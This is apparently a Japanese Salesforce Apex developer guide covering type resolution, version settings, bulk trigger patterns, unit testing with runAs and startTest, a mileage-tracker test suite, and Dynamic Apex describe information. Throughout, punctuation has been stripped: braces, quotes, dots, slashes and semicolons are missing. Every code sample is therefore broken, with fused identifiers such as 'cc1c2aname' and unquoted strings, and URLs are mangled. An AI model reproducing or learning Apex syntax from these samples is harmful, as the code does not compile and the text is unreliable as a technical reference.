ただしクラス変数については Apex はメンバー変数の参照にドット表記を使う場合もありますそれらのメンバー変数は他のクラスインスタンスを参照することもまた項目名への参照 (外部キーのアクセスのためなど)に独自のドット表記ルールを持つ sObject を参照することもあります

式に sObject 項目を入力すると式の残りは sObject ドメインにとどまりますつまりsObject 項目は Apex 式を再度参照することはできません

たとえば次のクラスがあるとします

public class c c1 c1 = new c1() class c1 c2 c2 class c2 Account a

その場合次の式はすべて有効です

cc1c2aname cc1c2aownerlastNametoLowerCase() cc1c2ataskscc1c2acontactssize()

型の解決と型のシステム名前空間システム型はローカルまたは他のクラスで定義されたユーザ定義型を解決しなければならないためApex パーサーは次のように型を評価します

1 型参照 TypeNではパーサーはまずその型をスカラー型として参照します2 TypeNが見つからない場合パーサーはローカルで定義された型を参照します3 そこでも TypeNが見つからない場合パーサーはその名前のクラスを参照します4 そこでも TypeNが見つからない場合パーサーは sObjects などのシステム型を参照します

型 T1T2はトップレベルクラス T1の内部型 T2または名前空間 T1のトップレベルクラス T2のいずれかを意味します (優先度はこの順序のとおり)

クラスオブジェクトおよびインターフェース Version 180 | 型の解決と型のシステム名前空間 | 117

バージョン設定

下位互換性を持たせるためクラスおよびトリガは特定の Salesforcecom API バージョンのバージョン設定とともに保存されますApexクラスまたはトリガがインストール済みの管理パッケージ内でカスタムオブジェクトなどのコンポーネントを参照する場合クラスが参照する各管理パッケージのバージョン設定も同時に保存されますApexAPIおよび管理パッケージのコンポーネントが次のリリースバージョンにアップグレードされた場合でもクラスまたはトリガは特定の既知の動作のバージョンにバインドされたままになります

インストール済みパッケージのバージョン設定を行うとインストール済みパッケージの Apex コードの公開されるインターフェースおよび動作が決まりますこれによりコードが廃止される前のバージョンのパッケージをインストールした場合最新バージョンのインストールパッケージで廃止される場合がある Apex を継続して参照できます

通常は最新のSalesforcecom APIバージョンの各インストールパッケージバージョンを参照しますSalesforcecomAPI バージョンを指定せずに Apex クラスまたはトリガを保存するとクラスまたはトリガはデフォルトで最新のインストールバージョンと関連付けられます管理パッケージのバージョンを指定せずに管理パッケージを参照する Apex クラスまたはトリガを保存する場合クラスまたはトリガはデフォルトで管理パッケージの最新のインストールバージョンに関連付けられます

クラスおよびトリガの Salesforcecom API バージョン設定クラスまたはトリガに Salesforcecom API および Apex のバージョンを設定する手順は次のとおりです

1 クラスまたはトリガのいずれかを編集して[バージョン設定] をクリックします2 Salesforcecom API のバージョンを選択します このバージョンはクラスまたはトリガに関連付けられてい

る Apex のバージョンでもあります3 [保存] をクリックします

メソッドコールのパラメータとしてオブジェクトを Apex クラスの C1 から C2 に渡しC2 では SalesforcecomAPI のバージョン設定により異なる項目が公開された場合オブジェクトの項目は C2 のバージョン設定によって制御されます

次の例を使用してテストクラス C1 のメソッドからクラス C2 の insertIdeaメソッドを呼び出した後に [カテゴリ]項目が nullに設定されます[カテゴリ]項目はバージョン 130 の API では使用できないためです

最初のクラスは Salesforcecom API バージョン 130 を使用して保存されます

このクラスは Salesforce API バージョン 130 を使用して保存されます バージョン 130 にはIdeacategories 項目のグローバルクラス C2 は含まれていません global Idea insertIdea(Idea a) insert a カテゴリ項目は挿入時 Null に設定されます

新しいアイデアを取得します Idea insertedIdea = [SELECT title FROM Idea WHERE Id =aid]

return insertedIdea

次のクラスは Salesforcecom API バージョン 160 を使用して保存されます

isTest このクラスはバージョン設定によって API バージョン 160 にバインドされます private classC1 static testMethod void testC2Method() Idea i = new Idea() iCommunityId =09aD000000004YCIAY iTitle = Testing Version Settings ibody = Categories field isincluded in API version 160 icategories = test

クラスオブジェクトおよびインターフェース Version 180 | バージョン設定 | 118

C2 c2 = new C2() Idea returnedIdea = c2insertIdea(i) 新しいアイデアを取得します IdeaideaMoreFields = [SELECT title categories FROM Idea WHERE Id = returnedIdeaid]

このクラスで作成されたオブジェクトのカテゴリ項目が null でないことを確認しますSystemassert(icategories = null) assert that the categories field created in C2 isnull Systemassert(ideaMoreFieldscategories == null)

Apex クラスおよびトリガのパッケージバージョンの設定クラスまたはトリガのパッケージバージョン設定を定義する手順は次のとおりです

1 クラスまたはトリガのいずれかを編集して[バージョン設定] をクリックします2 クラスまたはトリガによって参照される各管理パッケージの [バージョン]を選択します管理パッケージの

このバージョンはより新しいバージョンの管理パッケージがインストールされてもバージョン設定を手動で更新しない限りクラスまたはトリガによって引き続き使用されますインストール済み管理パッケージを設定リストに追加するには使用可能なパッケージのリストからパッケージを選択しますリストはクラスまたはトリガにまだ関連付けられていないインストール済み管理パッケージがある場合にのみ表示されます

3 [保存] をクリックします

パッケージバージョン設定を使用する場合は次のことに注意してください

bull 管理パッケージのバージョンを指定せずに管理パッケージを参照するApexクラスまたはトリガを保存する場合Apex クラスまたはトリガはデフォルトで管理パッケージの最新のインストールバージョンに関連付けられます

bull パッケージをクラスまたはトリガで参照している場合は管理パッケージのバージョン設定は [削除] できません[連動関係の表示] を使用してクラスまたはトリガから参照されている管理パッケージがどこにあるか検索できます

クラスオブジェクトおよびインターフェース Version 180 | Apex クラスおよびトリガのパッケージバージョンの設定 | 119

第 5 章

Apex デザインパターン

すべてのプログラム言語同様開発者は良いデザインパターンまたは悪いデザインパターンを使用できますこの章ではベストプラクティスについて説明し共通の不備について示しながら2 つのデザインパターンの違いを示します

トリガと一括要求

一般的な開発の不備はトリガの呼び出しに複数のレコードが含まれないことが想定されますApexトリガは一括で操作するよう最適化されています定義によっては開発者が一括操作をサポートするロジックを記述する必要があります

エラーが発生するプログラミングパターンの例を次に示しますトリガ呼び出しの間取り込まれるレコードは1 件のみと想定します多くのユーザインターフェースイベントはサポートされますがForcecom Web servicesAPI または Visualforce を使用して呼び出された一括操作はサポートされません

trigger MileageTrigger on Mileage__c (before insert before update) user c = [SELECT IdFROM user where mileageid__c =triggernew[0]id]

エラーが発生するもう 1 つのプログラミングパターンの例を次に示しますトリガ呼び出しの間取り込まれるレコードは 20 件未満と想定します要求に 20 件を超えるレコードが取り込まれるとトリガはトリガ内 20件の SELECT 文の SOQL クエリーの制限を超えます

trigger MileageTrigger on Mileage__c (before insert before update) for(mileage__c m triggernew) user c = [SELECT Id FROM user where mileageid__c =mid]

ガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

次の例ではガバナー制限を重視しトリガの一括処理をサポートする適切なパターンを示します

Trigger MileageTrigger on Mileage__c (before insert before update) setltIDgt ids =TriggernewkeySet() listltusergt c = [SELECT Id FROM user WHERE mileageid__c in ids]

このパターンはTriggernewコレクションをセットに渡し単一の SOQL クエリのセットを使用してトリガの一括処理を行いますこのパターンはSOQL クエリの数を宣言しますが要求内のすべてのレコードをすべて取得します

一括プログラムのデザインのベストプラクティス

次はデザインパターンのベストプラクティスです

bull コレクションにレコードを追加しそれらのコレクションに対して DML 操作を実行することによってデータ操作言語 (DML) の数を最小化します

bull レコードを処理しセットを生成することによって SOQL 文を最小化しますIN句で使用される 1 つのSOQL 文に置き換えることができます

Apex デザインパターン Version 180 | トリガと一括要求 | 121

第 6 章

Apex のテスト

ここではApex のテストに Forcecom プラットフォームで使用できるツールのほかテストの概要について説明します

トピック

bull Apex のテストについてbull Apex のテストについてbull Apex のユニットテストbull Apex のユニットテストbull ユニットテストメソッドの実行bull ユニットテストメソッドの実行bull ベストプラクティスのテストbull ベストプラクティスのテストbull テストの例bull テストの例

Apex のテストについて

テストは長期間の開発を正常に行うためにキーとなるもので開発プロセスの重要な部分を占めますテストベースの開発プロセスつまりコード開発と同じ回数行うテスト開発を使用することを強くお勧めします

Apex テストの理由アプリケーションが正常に機能するために特にアプリケーションが顧客に配布される場合はテストを行うことが重要ですアプリケーションが期待された通りに機能すること予期しない動作がないことが確認されれば顧客の信頼度が向上します

アプリケーションのテストには 2 種類あります1 つは Salesforcecomユーザインターフェースと使用したテストですこれは重要ですがユーザインターフェースを使用してあまりテストを行わない場合アプリケーションの使用状況ケースのすべてを取得するわけではありません一括機能についてテストする必要もありますForcecom Web サービス API または Visualforce 標準セットコントローラを使用している場合最大 200 件のレコードがコードを通過できます

アプリケーションはめったに完了しません機能を変更または拡張する追加リリースがあります包括的テストを行う場合回帰に新しい機能を導入することができます

またForcecom AppExchange 向けにコードを展開またはパッケージ化する前に次の点を実行する必要があります

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了します

次の点に注意してください

- 運用組織に展開する場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコードの割合

にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

メモ Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

Salesforcecom は組織内のユニットテストを Apex スクリプトで実行しサービスアップグレードの結果として動作が変更されていないことを確認します

Apex のテストの対象Salesforcecom は次についてテストを作成することをお勧めします

単一アクション単一レコードが適切で期待される結果を生成することを確認するテスト

Apex のテスト Version 180 | Apex のテストについて | 123

一括アクションすべての Apex スクリプトがトリガクラスまたは拡張であっても1 から 200 件のレコードについて呼び出されます単一レコードのケースだけでなく一括ケースについてもテストする必要があります

正の動作期待される動作がすべての期待される順列で行われることつまりユーザが正しく入力し制限を超えていないことを確認するテスト

負の動作将来の日付を追加できない負の数量を指定できないなどアプリケーションに制限がある場合があります負のケースについてテストし制限のケース内で正のケースと同様エラーメッセージが適切に表示されることを確認する必要があります

制限ユーザコード内で使用する sObjects に対するアクセス権が制限されているユーザが期待される動作を行えるかどうか (コードを実行できるかエラーメッセージを受信するか) についてのテスト

メモ 条件演算子および 3 項演算子は肯定ブランチおよび否定ブランチの両方が実行されない限り実行されるとはみなされません

テスト作成の詳細は「テストの例 (ページ 129)」を参照してください

Apex のユニットテスト

強固な開発を促進するためにエラーのないコードApex はユニットテストの作成および実行をサポートしますユニットテストは特定のコードが適切に動作しているかを確認するクラスメソッドですユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義で testMethod

キーワードを使用してフラグを立てます

public class myClass static testMethod void myTest() code_block

メモ Web サービスコールアウトのテストに Test メソッドは使用できませんWeb サービスのコールアウトは非同期ですが非ニットテストは同期です

runAsメソッドの使用一般にApex スクリプトはすべてシステムモードで実行され現在のユーザの権限やレコード共有は考慮されませんシステムメソッドrunAsを使用してユーザコンテキストを既存のユーザまたは新規ユーザに変更するテストメソッドを作成したり特定バージョンの管理パッケージのコードを使用して実行したりできますユーザとして実行する場合ユーザのレコード共有のすべてが適用されますrunAsはテストメソッドでのみ使用できます元のシステムコンテキストはすべてのrunAsテストメソッドが完了した後で再開されますrunAs

メソッドの使用およびパッケージバージョンのコンテキスト指定の詳細は「パッケージバージョンの動作のテスト (ページ 169)」を参照してください

Apex のテスト Version 180 | Apex のユニットテスト | 124

メモ ユーザを指定する runAsへのコールは 20 件のみトランザクションで実行できます

次の例では新しいテストユーザーが作成されコードはユーザーの権限およびレコードアクセス権限によってを持つユーザーとして実行されます

public class TestRunAs public static testMethod void testRunAs() テストデータを設定 このコードはシステムユーザーとして実行

Profile p = [select id from profile where name=Standard User] User u = new User(alias =standt email=standardusertestorgcom emailencodingkey=UTF-8 lastname=Testinglanguagelocalekey=en_US localesidkey=en_US profileid = pIdtimezonesidkey=AmericaLos_Angeles username=standardusertestorgcom)

SystemrunAs(u) 次のコードはユーザー u として実行 Systemdebug(Current User +UserInfogetUserName()) Systemdebug(Current Profile + UserInfogetProfileId())

複数の runAsメソッドをネストすることができます例

public class TestRunAs2

public static testMethod void test2()

Profile p = [SELECT Id FROM profile WHERE name=Standard User] User u2 = new User(alias= newUser email=newusertestorgcom emailencodingkey=UTF-8 lastname=Testinglanguagelocalekey=en_US localesidkey=en_US profileid = pIdtimezonesidkey=AmericaLos_Angeles username=newusertestorgcom)

SystemrunAs(u2) 次のコードはユーザー u2 として実行しますSystemdebug(Current User +UserInfogetUserName()) Systemdebug(Current Profile + UserInfogetProfileId())

次のコードはユーザー u3 として実行します

User u3 = [select id from user where username=newusertestorgcom] SystemrunAs(u3) Systemdebug(Current User + UserInfogetUserName()) Systemdebug(Current Profile + UserInfogetProfileId())

ここで追加コードはユーザー u2 として実行します

runAs使用のベストプラクティス

次の項目では特定ユーザとして実行する runAsで指定されたユーザーに割り当てられた権限を使用します

bull ダイナミック Apexbull with sharingまたは without sharingを使用するメソッドbull 共有レコード

元の権限はrunAsが下記を完了後にリセットされます

runAsメソッドはユーザライセンスの制限を無視します組織に追加ユーザライセンスがない場合でもrunAs

で新しいユーザを作成できます

Apex のテスト Version 180 | runAs メソッドの使用 | 125

LimitsstartTestおよび stopTestの使用Limits メソッドはトリガWeb サービスメソッドなど実行されているコンテキストに対する特定の制限を返します

各メソッドには 2 つのバージョンがあります一方のバージョンのメソッドは現在のコンテキストで使用されているリソースの数を返しもう一方のバージョンは limit という用語を使用し該当するコンテキストに使用できるリソースの合計を返しますたとえばgetCalloutsは現在のコンテキストで処理されている外部サービスへのコールアウト数を返しgetLimitCalloutsは指定されたコンテキストで使用できるコールアウト数の合計を返します

Limits メソッドのほかstartTestメソッドおよび stopTestメソッドを使用してコードがガバナー制限にどれくらい近づいているかを確認します

startTestメソッドはテストが実際に開始する場合のテストコード内のポイントをマークします それぞれのtestMethodはこのメソッドを一度だけコールできますこのメソッドの前のすべてのコードを変数の初期化データ構造の投入などのために使用する必要がありますテスト実行のために必要なすべてを設定できますこのメソッドをコールした後適用される制限は最初の DML ステートメント (INSERTDELETEなど) または最初の Web サービス呼び出しに基づいています

startTestメソッドはテストのコンテキストを更新しませんコンテキストをテストに追加しますたとえばstartTestを呼び出す前に 98 件の SOQL クエリを作成しstartTest後の最初の有意な文が DML ステートメントである場合プログラムは追加の 100 件のクエリを作成できるようになりましたただしstopTestが呼び出されるとプログラムは元のコンテキストに戻り100 件の制限に達するまで追加できる SOQL クエリは2 件だけになります

stopTestメソッドはテストが終了する場合のテストコード内のポイントをマークしますこのメソッドはstartTestメソッドと組み合わせて使用しますそれぞれの testMethodはこのメソッドを一度だけコールできますこのメソッドをコールした後帰結表明が元のコンテキストで行われますstartTestメソッド後に作成されたすべての非同期コールはシステムによって収集されますstopTestを実行する場合すべての非同期プロセスが同期して実行されます

SOSL クエリのユニットテストへの追加テストメソッドが必ず予測されたとおりに動作するようにApex テストメソッドに追加される Salesforcecom オブジェクト検索言語 (SOSL) クエリはテストメソッドが実行された場合に検索結果の空のセットを返しますクエリが結果の空のリストを返さないようにする場合TestsetFixedSearchResultsシステムを使用して検索に返される一連のレコード ID を定義できますテストメソッドで後で実行される SOSL クエリはTestsetFixedSearchResultsメソッドで指定されたレコード ID のリストを返しますまたテストメソッドは TestsetFixedSearchResultsを複数回コールしてさまざまな SOSL クエリのさまざまな結果セットを定義できますテストメソッドで TestsetFixedSearchResultsメソッドをコールしない場合またはレコード ID のリストを指定しないでこのメソッドをコールする場合テストメソッドで後で実行される SOSL クエリは結果の空のリストを返します

TestsetFixedSearchResultsメソッドで指定されたレコード ID のリストはWHERE句または LIMIT句に指定されていない場合に通常 SOSL クエリで返された結果を置き換えますこれらの句が SOSL クエリにある場合固定された検索結果のリストに適用されます例

public class SoslFixedResultsTest1

public static testMethod void testSoslFixedResults() Id [] fixedSearchResults= new Id[1]fixedSearchResults[0] = 001x0000003G89h TestsetFixedSearchResults(fixedSearchResults)

Apex のテスト Version 180 | LimitsstartTestおよび stopTest の使用 | 126

ListltListltSObjectgtgt searchList = [FIND test IN ALL FIELDS RETURNING Account(id nameWHERE name = test LIMIT 1)]

ID が 001x0000003G89hである取引先レコードが FIND 句のクエリ文字列 (test) に一致しない場合レコードは SOSL ステートメントの RETURNING句に渡されますID 001x0000003G89hのレコードはWHERE句の条件に一致しレコードが返されますWHERE句に一致しない場合レコードは返されません

ユニットテストメソッドの実行

Salesforcecom のユーザインターフェースを使用してApex スクリプトのユニットテストを実行できます特定のクラスのユニットテストを実行することも組織内のすべてのユニットテストを実行することもできますユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義でtestMethodキーワードを使用してフラグを立てます

特定のクラスのユニットテストを実行するには[設定] [開発] [Apex クラス] をクリックしクラス名をクリックして[テストを実行]をクリックします自分のクラスが別のクラスを呼び出した場合またはトリガが実行された場合Apex スクリプトが対象となるコードの割合計算に使用される合計量に含まれます

組織内のすべてのユニットテストを実行するには[設定] [開発] [Apex クラス] をクリックし[すべてのテストを実行] をクリックします

ユニットテストの実行結果ページには次のセクションがあります各セクションは展開したり折りたたんだりできます

bull テストランの回数失敗の回数ユニットテストが網羅する Apex スクリプトの割合を詳細に示す概要セクション

重要

- 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

- 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めします- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされま

せん

bull テストの失敗回数 (発生した場合)bull コードカバー率セクション

このセクションでは組織のすべてのクラスおよびトリガおよびテストの対象となる各クラスおよびトリガのコードの行の割合を一覧表示しますカバー率の数値をクリックするとページが表示されテストの対象となるクラスまたはトリガのコードの行がすべて青でまたテストの対象外であるコードのすべての行が赤で強調表示されますまたクラスまたはトリガの特定の行がテストで実行された回数も表示されます

bull テストカバー率の警告 (発生した場合)bull デバッグログ

デバッグログは自動的に特定のログレベルとカテゴリに設定されます変更はできません

レベルCategory

INFOデータベース

Apex のテスト Version 180 | ユニットテストメソッドの実行 | 127

レベルCategory

FINEApex コードINFOApex プロファイリングINFOワークフローINFOValidation

またForcecom IDE でテストを実行することができます(httpswikiapexdevnetcomindexphpApex_Toolkit_for_Eclipse を参照)

Forcecom Web サービス API から runTests()コールを使用することもできます

RunTestsResult[] runTests(RunTestsRequest ri)

このコールを使用してRunTestsRequest オブジェクトで指定されているようにすべてのクラスのすべてのテスト特定の名前空間のすべてのテスト特定の名前空間のクラスのサブセットにあるすべてのテストを実行することができます次のものが返されます

bull 実行するテストの合計数bull コード範囲の統計 (下記参照)bull 失敗したテストそれぞれの情報bull 成功した各テストの情報bull テストの実行に要した時間

runTests()の詳細はhttpsyour_salesforce_serverserviceswsdlapexにある WSDL を参照してください your_salesforce_serverはna1salesforcecomなど組織があるサーバを示します

Salesforcecom 運用組織の管理者は Salesforcecom ユーザーインターフェースを使用して Apex スクリプトを変更できませんがrunTests()を使用して既存の項目に一意の制約を追加するなど既存のユニットテストが変更が行われた後に完了まで実行されていることを確認することが重要ですSalesforcecom 運用組織ではcompileAndTest API コールを使用して Apex スクリプトを変更する必要があります詳細は「Apex のディプロイ」 (ページ 382)を参照してください

runTests()の詳細は「Web サービス API コールおよび Apex の SOAP ヘッダ」 (ページ 406)を参照してください

ベストプラクティスのテスト

優れたテストは次のようになります

bull 可能な限り多くのコードの行をカバーします

重要

- 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

- 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めします

Apex のテスト Version 180 | ベストプラクティスのテスト | 128

- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

bull 条件ロジックの場合 (3 項演算子など)コードロジックの各ブランチを実行しますbull 有効な入力および無効な入力を使用してメソッドへのコールを行いますbull エラーが予期されずtryhellipcatchブロックで取得されない限り例外を投げずに正常に完了しますbull 例外を取得するのではなく取得されたすべての例外を必ず処理しますbull Systemassertメソッドを使用してコードが適切に動作することを明らかにしますbull runAsメソッドを使用してさまざまなユーザーコンテキストでアプリケーションをテストしますbull isTestアノテーションを使用しますisTestで指定したクラスは1 MB という Apex スクリプトの組織内

の上限には含まれませんbull 一括トリガ機能を実行しますテスト内で最低 20 件のレコードを使用しますbull ORDER BYキーワードを使用しレコードが予期された順序で返されるようにしますbull レコード ID が順番に並んでいることを想定しません

複数のレコードを同じ要求で挿入しない限りレコード ID は昇順で作成されませんたとえば取引先 Aを作成しID 001D000000IEEmTを受信し取引先 B を作成すると取引先 B の ID は順序が上位になる場合とならない場合があります

bull Apex テスト結果ページにはコードカバー率のセクションがありますこのセクションでは組織のすべてのクラスおよびトリガおよびテストの対象となる各クラスおよびとリガのコードの行の割合を一覧表示しますカバー率の数値をクリックするとページが表示されテストの対象となるクラスまたはトリガのコードの行がすべて青でまたテストの対象外であるコードのすべての行が赤で強調表示されますまたクラスまたはトリガの特定の行がテストで実行された回数も表示されます

bull テストデータを次のように設定します

- テストクラスで必要なデータを作成しますテストは特定の組織のデータに依存する必要がありません- starttestメソッドをコールする前にすべてのテストデータを作成します- テストがコミットしていないためデータを削除する必要はありません

bull テストされるものだけでなくテスターがデータについて作成した推定予測される結果などについて言及するコメントを作成します

bull アプリケーションで個別にクラスをテストします1 回のテストでアプリケーション全体をテストしません

多くのテストを実行する場合次について考慮してください

bull Forcecom IDE ではApex プロジェクトの Read timeout値を増加する必要があります詳細はhttpswikiapexdevnetcomindexphpApex_Toolkit_for_Eclipse を参照してください

bull Salesforcecom ユーザーインターフェースで[すべてのテストを実行] ボタンを使用してすべてのテストを同時に実行する代わりに組織内のクラスを個別にテストする必要があります

テストの例

次の例では下記の種類のテストのケースについて示しています

bull 単一レコードおよび複数のレコードを含む正のケース (ページ 131)bull 単一レコードおよび複数のレコードを含む負のケース (ページ 132)

Apex のテスト Version 180 | テストの例 | 129

bull その他のユーザによるテスト (ページ 132)

テストは1 つのマイル追跡アプリケーションで使用されますアプリケーションの既存のコードは500 未満のマイルが 1 日に入力されることを確認しますプライマリオブジェクトは Mileage__c というカスタムオブジェクトですここに全体のテストクラスを示します次のセクションはコードの特定の部分を行います

isTest private class MileageTrackerTestSuite

static testMethod void runPositiveTestCases()

Double totalMiles = 0 final Double maxtotalMiles = 500 final Double singletotalMiles =300 final Double u2Miles = 100

Setup User User u1 = [select id from User where alias=auser]

Run As U1 SystemRunAs(u1)

Systemdebug(Inserting 300 miles(single record validation))

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300 Date__c = Systemtoday()) inserttestMiles1

validate single insert for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate= TODAY and createdById = u1id and miles__c = null]) totalMiles += mmiles__c

SystemassertEquals(singletotalMiles totalMiles)

validate bulk totalMiles = 0 Systemdebug(Inserting 200 mileage records(bulkvalidation))

ListltMileage__cgt testMiles2 = new ListltMileage__cgt() for(integer i=0 ilt200 i++) testMiles2add( new Mileage__c(Miles__c = 1 Date__c = Systemtoday()) )

insert testMiles2

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= u1id and miles__c = null]) totalMiles += mmiles__c

SystemassertEquals(maxtotalMiles totalMiles)

end RunAs(u1)

validate additional user totalMiles = 0 setup RunAs User u2 = [select id from Userwhere alias=tuser] SystemRunAs(u2)

Mileage__c testMiles3 = new Mileage__c(Miles__c = 100 Date__c = Systemtoday()) inserttestMiles3

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= u2id and miles__c = null]) totalMiles += mmiles__c validateSystemassertEquals(u2Miles totalMiles)

SystemRunAs(u2)

runPositiveTestCases()

static testMethod void runNegativeTestCases()

User u3 = [select id from User where alias=tuser] SystemRunAs(u3)

Apex のテスト Version 180 | テストの例 | 130

Systemdebug(Inserting a record with 501 miles(negative test case))

Mileage__c testMiles3 = new Mileage__c( Miles__c = 501 Date__c = Systemtoday() )

try insert testMiles3 catch (DmlException e) Assert Error Message Systemassert(egetMessage()contains(Insert failedFirst exception on + row 0 first errorFIELD_CUSTOM_VALIDATION_EXCEPTION + Mileage request exceeds daily limit(500)[Miles__c]) egetMessage() )

Assert field SystemassertEquals(Mileage__cMiles__c egetDmlFields(0)[0])

Assert Status Code SystemassertEquals(FIELD_CUSTOM_VALIDATION_EXCEPTION egetDmlStatusCode(0) ) catch RunAs(u3) runNegativeTestCases()

class MileageTrackerTestSuite

正のテストケース

次では上記のコード特に単一レコードおよび複数レコードの正のテストケースを行います

1 スクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Inserting 300 more milessingle record validation)

2 Mileage__c オブジェクトを作成しデータベースに挿入します

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300 Date__c = Systemtoday() ) inserttestMiles1

3 挿入されたレコードを返してコードを検証します

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= createdbyId and miles__c = null]) totalMiles += mmiles__c

4 systemassertEqualsメソッドを使用して期待された結果が返されることを確認します

SystemassertEquals(singletotalMiles totalMiles)

5 次のテストに移る前に合計マイル数を 0 に戻します

totalMiles = 0

6 200 件のレコードの一括挿入を作成してコードを検証します

まずスクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Inserting 200 Mileage recordsbulk validation)

7 次に 200 件の Mileage__c レコードを挿入します

ListltMileage__cgt testMiles2 = new ListltMileage__cgt() for(integer i=0 ilt200 i++)testMiles2add( new Mileage__c(Miles__c = 1 Date__c = Systemtoday()) ) inserttestMiles2

Apex のテスト Version 180 | テストの例 | 131

8 SystemassertEqualsを使用して期待された結果が返されることを確認します

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= createdbyId and miles__c = null]) totalMiles += mmiles__c SystemassertEquals(maxtotalMiles totalMiles)

負のテストケース

次は上記のコード特に負のテストケースを行います

1 runNegativeTestCasesという静的テストメソッドを作成します

static testMethod void runNegativeTestCases()

2 スクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Inserting 501 miles negative test case)

3 501 マイルの Mileage__c record レコードを作成します

Mileage__c testMiles3 = new Mileage__c( Miles__c = 501 Date__c = Systemtoday() )

4 insertステートメントをtrycatchブロック内に配置します検証の例外を取得して生成されたエラーメッセージを確認します

try insert testMiles3 catch (DmlException e)

5 Systemassertおよび SystemassertEqualsを使用してテストを実行します次のコードを以前作成した catchブロックに追加します

Assert Error Message Systemassert(egetMessage()contains(Insert failedFirst exception+ on row 0 first error FIELD_CUSTOM_VALIDATION_EXCEPTION + Mileage request exceedsdaily limit(500) [Miles__c]) egetMessage())

Assert Field SystemassertEquals(Mileage__cMiles__c egetDmlFields(0)[0])

Assert Status Code SystemassertEquals(FIELD_CUSTOM_VALIDATION_EXCEPTION egetDmlStatusCode(0))

セカンドユーザとしてのテスト

次は上記のコード特にセカンドユーザとして実行します

1 次のテストに移る前に合計マイル数を 0 に戻します

totalMiles = 0

2 次のユーザを設定します

User u2 = [select id from User where alias=tuser] SystemRunAs(u2)

Apex のテスト Version 180 | テストの例 | 132

3 スクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Setting up testing - deleting any mileage records for +UserInfogetUserName() + from today)

4 次に 1 件の Mileage__c レコードを挿入します

Mileage__c testMiles3 = new Mileage__c(Miles__c = 100 Date__c = Systemtoday()) inserttestMiles3

5 挿入されたレコードを返してコードを検証します

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= u2Id and miles__c = null]) totalMiles += mmiles__c

6 systemassertEqualsメソッドを使用して期待された結果が返されることを確認します

SystemassertEquals(u2Miles totalMiles)

Apex のテスト Version 180 | テストの例 | 133

第 7 章

ダイナミック Apex

ダイナミック Apexによって開発者は以下の能力を供給することによってより柔軟なアプリケーションの作成が可能になります

トピック

bull Apex 定義情報についてbull sObjectとフィールドの定義情報へのアクセス

定義情報 はS オブジェクトと項目プロパティに関する情報を提供しますたとえばS オブジェクトの定義情報であればS オブジェ

bull 動的 SOQLbull 動的 SOSLbull ダイナミック DML

クトの種別が作成や復元などの操作S オブジェクトの名前と表示ラベルS オブジェクトの項目や子オブジェクトなどをサポートするかどうかといった情報です項目の定義情報であればその項目がデフォルト値を持っているか合計数を示す項目か項目の種別は何かといった情報です

定義情報は個別のレコードではなく組織内のobjectsについての情報を提供します

bull ダイナミックSOQLクエリを書く ダイナミックSOSLクエリとダイナミックDML

ダイナミック SOQL および SOSL クエリによりSOQL または SOSLを実行時に文字列として実行できます一方ダイナミック DMLによりレコードを動的に作成しDML を使用してデータベースに挿入できますダイナミック SOQLSOSLおよび DML を使用してユーザ権限をカスタマイズできるだけでなくアプリケーションを組織に合わせて的確にカスタマイズすることもできますこの特性はForcecom AppExchange からインストールされたアプリケーションに便利です

Apex 定義情報について

ApexはsObjectとフィールド定義情報に関して以下の2つのデータ構造を提供します

bull トークン-軽量直列化可能なsObjectへの参照またはコンパイル時に検証されるフィールド可能の参照bull 定義結果-sObjectまたはフィールドに関するすべての定義プロパティを含むオブジェクト定義結果オブジェ

クトは直列化不可能でランタイムで有効です

トークンからその定義結果まで移動するのはまたその逆は簡単ですsObjectとトークンは両方ともトークン用の定義結果を返すメソッドgetDescribeを持っています定義結果においてはgetSObjectTypeとgetSObjectFieldメソッドはsObjectとフィールド用にそれぞれトークンを返します

トークンは軽量なのでそれを使うことによってより速くて効率のよいコードの作成が可能です例えばスクリプトで使用する必要のあるsObjectまたはフィールドのタイプを決定する際にはsObjectまたはフィールドのトークンバージョンを使用してくださいsObjectがContactオブジェクトかどうか決定するためには例えばフィールドがNameフィールドまたはカスタム計算されたフィールドかは等価演算子(==)を使ってトークンを比較することができます

以下のコードはsObjectとフィールドプロパティについての情報にアクセスするためのトークンと定義結果の使い方の一般例を示しています

Create a new account as the generic type sObject sObject s = new Account()

Verify that the generic sObject is an Account sObject Systemassert(sgetsObjectType()== AccountsObjectType)

Get the sObject describe result for the Account object SchemaDescribeSObjectResult r =AccountsObjectTypegetDescribe()

